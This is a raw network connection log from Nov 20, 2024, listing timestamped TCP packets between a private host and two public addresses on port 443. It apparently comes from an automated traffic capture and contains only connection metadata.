Nov 20, 2024 03:22:14.016422033 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.016493082 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.016585112 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.016688108 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.016721964 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.107829094 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.108330011 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.108383894 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.108690023 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.108701944 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.235765934 CET	50068	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.235825062 CET	443	50068	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.407779932 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:14.407859087 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:14.408162117 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.408252001 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:14.408397913 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.408463001 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.408529997 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.408529997 CET	50069	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.408570051 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.408584118 CET	443	50069	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.410840034 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.410926104 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.411626101 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.411775112 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.411793947 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.783322096 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.783792019 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.783817053 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.784173012 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.784179926 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.790393114 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.790642977 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.790692091 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.790924072 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.790936947 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.790935040 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.791158915 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.791201115 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.791414022 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.791429043 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.791757107 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.792031050 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.792084932 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.792300940 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.792314053 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.882463932 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.882811069 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.882889986 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.882961035 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.882961035 CET	50070	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.883001089 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.883024931 CET	443	50070	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.885226965 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.885302067 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.885377884 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.885493040 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.885524035 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.889203072 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.889309883 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.889370918 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.889395952 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.889426947 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.889480114 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.889523983 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.889554024 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.889579058 CET	50072	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.889594078 CET	443	50072	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.890228987 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.890539885 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.890639067 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.890639067 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.890640020 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.891664982 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.892314911 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.892349005 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.892349958 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.892410994 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.892471075 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.892604113 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.892633915 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.892658949 CET	50071	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.892673016 CET	443	50071	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.894697905 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.894790888 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.894881010 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.894989967 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.895025969 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.895116091 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.895128965 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.895220995 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.895230055 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:14.895311117 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.895414114 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:14.895426989 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.068073034 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.068572044 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.068646908 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.068970919 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.068988085 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.169722080 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.169842005 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.169975042 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.170144081 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.170192003 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.170237064 CET	50074	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.170255899 CET	443	50074	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.172754049 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.172853947 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.172936916 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.173068047 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.173109055 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.204237938 CET	50073	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.204286098 CET	443	50073	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.537918091 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.538480997 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.538501024 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.538851976 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.538856983 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.550919056 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.551232100 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.551285028 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.551300049 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.551469088 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.551482916 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.551496983 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.551517010 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.551897049 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.551911116 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.592284918 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.592737913 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.592796087 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.592957020 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.592972040 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.642930031 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.642965078 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.643017054 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.643037081 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.643114090 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.643234015 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.643234015 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.643336058 CET	50078	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.643352032 CET	443	50078	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.646563053 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.646604061 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.646686077 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.646814108 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.646821976 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.653563023 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.653620005 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.653743982 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.653765917 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.653765917 CET	50076	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.653775930 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.653784990 CET	443	50076	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654165030 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654189110 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654243946 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.654263973 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654417992 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.654432058 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654443026 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.654625893 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654658079 CET	443	50075	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.654706955 CET	50075	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.656740904 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.656769037 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.656867981 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.657140017 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.657149076 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.657314062 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.657332897 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.657454014 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.657636881 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.657640934 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.697048903 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.697078943 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.697124004 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.697151899 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.697175980 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.697225094 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.697323084 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.697340012 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.697354078 CET	50077	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.697360039 CET	443	50077	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.699723005 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.699743986 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.699820995 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.699954987 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.699961901 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.809384108 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.809951067 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.810029030 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:15.810245037 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:15.810260057 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.034051895 CET	50005	443	192.168.2.8	142.250.186.68
Nov 20, 2024 03:22:16.034112930 CET	443	50005	142.250.186.68	192.168.2.8
Nov 20, 2024 03:22:16.089898109 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.089917898 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.089972973 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.090009928 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.090075970 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.090281963 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.090341091 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.090378046 CET	50079	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.090394020 CET	443	50079	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.093147039 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.093240976 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.093343019 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.093509912 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.093535900 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.287008047 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.287468910 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.287483931 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.287960052 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.287964106 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.296910048 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.297142982 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.297158003 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.297408104 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.297413111 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.333185911 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.336859941 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.336875916 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.337399006 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.337402105 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.358557940 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.358903885 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.358912945 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.359285116 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.359288931 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.387686014 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.387725115 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.387792110 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.387954950 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.387973070 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.387986898 CET	50081	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.387991905 CET	443	50081	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.390638113 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.390722990 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.390794039 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.390904903 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.390935898 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.397098064 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.397160053 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.397188902 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.397279978 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.397279978 CET	50082	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.397294044 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.397300959 CET	443	50082	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.399132967 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.399200916 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.399272919 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.399418116 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.399445057 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.435594082 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.435621977 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.435751915 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.435801029 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.435841084 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.435961962 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.435961962 CET	50080	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.435972929 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.435980082 CET	443	50080	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.437860966 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.437901020 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.438008070 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.438102961 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.438121080 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.458997965 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.459153891 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.459211111 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.459233046 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.459239006 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.459249020 CET	50083	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.459252119 CET	443	50083	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.460910082 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.461013079 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.461100101 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.461211920 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.461236954 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.825957060 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.826364040 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.826435089 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.826766014 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.826778889 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.926770926 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.926960945 CET	443	50084	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.927130938 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.927130938 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.927130938 CET	50084	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.929728985 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.929826975 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:16.929933071 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.930088997 CET	50089	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:16.930114031 CET	443	50089	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.032483101 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.032917023 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.032960892 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.033338070 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.033349991 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.054111004 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.054431915 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.054505110 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.054919004 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.054933071 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.074942112 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.075242996 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.075288057 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.075594902 CET	50087	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.075604916 CET	443	50087	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.102554083 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.102963924 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.103029013 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.103298903 CET	50088	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.103338003 CET	443	50088	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.132873058 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.133236885 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.133361101 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.133416891 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.133466959 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.133466959 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.133488894 CET	50086	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.133507013 CET	443	50086	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.136046886 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.136141062 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.136239052 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.136353970 CET	50090	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.136378050 CET	443	50090	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.160444021 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.160461903 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.160532951 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.160552979 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.160707951 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.160707951 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.160741091 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.160784006 CET	50085	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:22:17.160887957 CET	443	50085	13.107.246.45	192.168.2.8
Nov 20, 2024 03:22:17.160922050 CET	443	50085	13.107.246.45	192.168.2.8
